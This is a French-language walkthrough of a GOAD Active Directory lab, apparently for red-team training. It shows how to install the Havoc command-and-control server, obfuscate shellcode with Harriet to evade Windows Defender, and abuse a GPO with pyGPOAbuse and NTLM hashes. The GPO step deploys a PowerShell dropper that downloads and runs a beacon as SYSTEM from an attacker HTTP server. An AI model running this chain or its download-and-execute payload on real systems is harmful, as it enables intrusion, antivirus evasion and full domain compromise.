CH1 - NORTH Part 2
Cette partie reprend à l'identique les étapes et vulnérabilités de la partie 1, mais en utilisant un C2 nommé Havoc, avec des notions d'évasions d'antivirus.
Pour aller plus loin
Tout ce scénario fonctionne, cependant, de nombreuses "traces" peuvent être relevées par la blue team, notamment le fait que nous ayons modifié l'appartenance d'un user, et ajouté quelqu'un à un groupe critique, Domain Admins
.
Par conséquent, ici nous utiliserons d'autres techniques permettant d'obtenir le même résultat, mais de manière plus discrète.
Pour ceci, nous utiliserons havoc
, un command and control server qui permet de gérer des agents sur des machines compromises.
Installation d'havoc
Nous allons installer havoc sur notre kali. Pour ceci, nous allons d'abord cloner le repo github associé :
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
Puis, installer les dépendances nécessaires :
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
Installer ensuite les librairies go associées :
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
Compiler le server :
make ts-build
[*] building teamserver
Et lancer le serveur :
./havoc server --profile ./profiles/havoc.yaotl -v --debug
Compiler ensuite le client et lancer le client :
make client-build
./havoc client
Maintenant que nous avons tout de configuré, nous allons pouvoir générer nos payloads.
Création d'un payload basique et évasion antivirus
- Création d'un listener
Tout d'abord, nous devons créer un listener sur notre serveur havoc. Ce dernier va "s'attacher" à une adresse de notre KALI.
Ce listener est basique, mais fonctionnel. Il s'attache à 0.0.0.0
(toutes les interfaces) et écoute via le port 443
soit HTTPS (généralement non filtré).
Nous pouvons cliquer sur save, et créer notre payload.
- Création d'un payload
Nous faisons un payload en cliquant en haut à gauche sur Attack
puis Payload
:
Nous choisissons le format Windows Shellcode
puis ensuite, cliquer sur Generate
.
Une fois ce dernier créé, havoc vous proposera de le sauvegarder sur votre machine.
Nous allons ensuite utiliser Harriet
, un outil disponible dans ce github afin d'obfusquer notre shellcode et d'en faire un exécutable : https://github.com/assume-breach/Home-Grown-Red-Team.git
git clone https://github.com/assume-breach/Home-Grown-Red-Team.git
cd Home-Grown-Red-Team
cd Harriet
chmod +x setup.sh
./setup.sh
sudo ./setup.sh
chmod +x Harriet.sh
sudo ./Harriet.sh
Ce dernier, une fois lancé, vous proposera plusieurs options :
Choisissez la 1ère option
Puis choisissez encore la 1ère option. Entrez ensuite le chemin du shellcode généré précédemment, et le nom de l'exécutable souhaité.
Par la suite, vous aurez un exécutable, que vous pourrez lancer sur la machine, sans être détecté par l'antivirus windows defender :
Nous avons notre exécutable, mais nous devons maintenant penser au moyen de l'exécuter à travers la GPO.
Création du dropper powershell
Nous refaisons les mêmes étapes que précédemment, en ayant un nouveau listener sur le réseau de GOAD.
Voici le payload que nous allons faire passer par pyGPOAbuse
:
Payload
if (-not (Get-Process -Name demon_by -ErrorAction SilentlyContinue)) { $url = "http://192.168.56.230:8080/demon_by.exe"; $outputPath = "C:\Windows\System32\demon_by.exe"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Process -FilePath $outputPath }
Ce dernier vérifiera si le process demon_by
existe déja, et s'il n'existe pas, il téléchargera le fichier demon_by.exe
sur notre serveur havoc, et l'exécutera. Cela permet de réduire d'une manière simple les requêtes et écritures sur le disque.
Nous pouvons alors lancer pyGPOAbuse
:
Output
python3.11 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly -hashes F4719ED132F6648B686EC9B95CCF3911:F5DB9E027EF824D029262068AC826843 -gpo-id "CA30D611-2F79-4CD8-9FBF-0494B6EB7DDA" \
-powershell \
-command 'if (-not (Get-Process -Name demon_by -ErrorAction SilentlyContinue)) { $url = "http://192.168.56.230:8080/demon_by.exe"; $outputPath = "C:\Windows\System32\demon_by.exe"; Invoke-WebRequest -Uri $url -OutFile $outputPath; Start-Process -FilePath $outputPath }' \
-taskname "Completely Legit Task Dropper" \
-description "Dis is legit, pliz no delete" -f
SUCCESS:root:ScheduledTask Completely Legit Task FINAL created!
[+] ScheduledTask Completely Legit Task FINAL created!
Sur notre serveur http python, nous constatons que les 2 machines (CASTELBLACK et WINTERFELL) contactent notre serveur afin de récupérer le binaire demon_by.exe
:
Dans notre serveur Havoc :
Nous avons les 2 machines connectées, avec le compte NT AUTHORITY\SYSTEM
! A partir de cela, nous pouvons faire les actions que nous avons menées précédemment.
Détection de notre payload
Nous avons ici utilisé une technique basique pour permettre au payload de s'exécuter, sans être détecté par windows defender. Cependant, nous obtenons des scores relativement satisfaisants :
D'autres techniques peuvent être employées pour obtenir des meilleurs résultats, mais dans le cadre de GOAD, ce payload suffit amplement !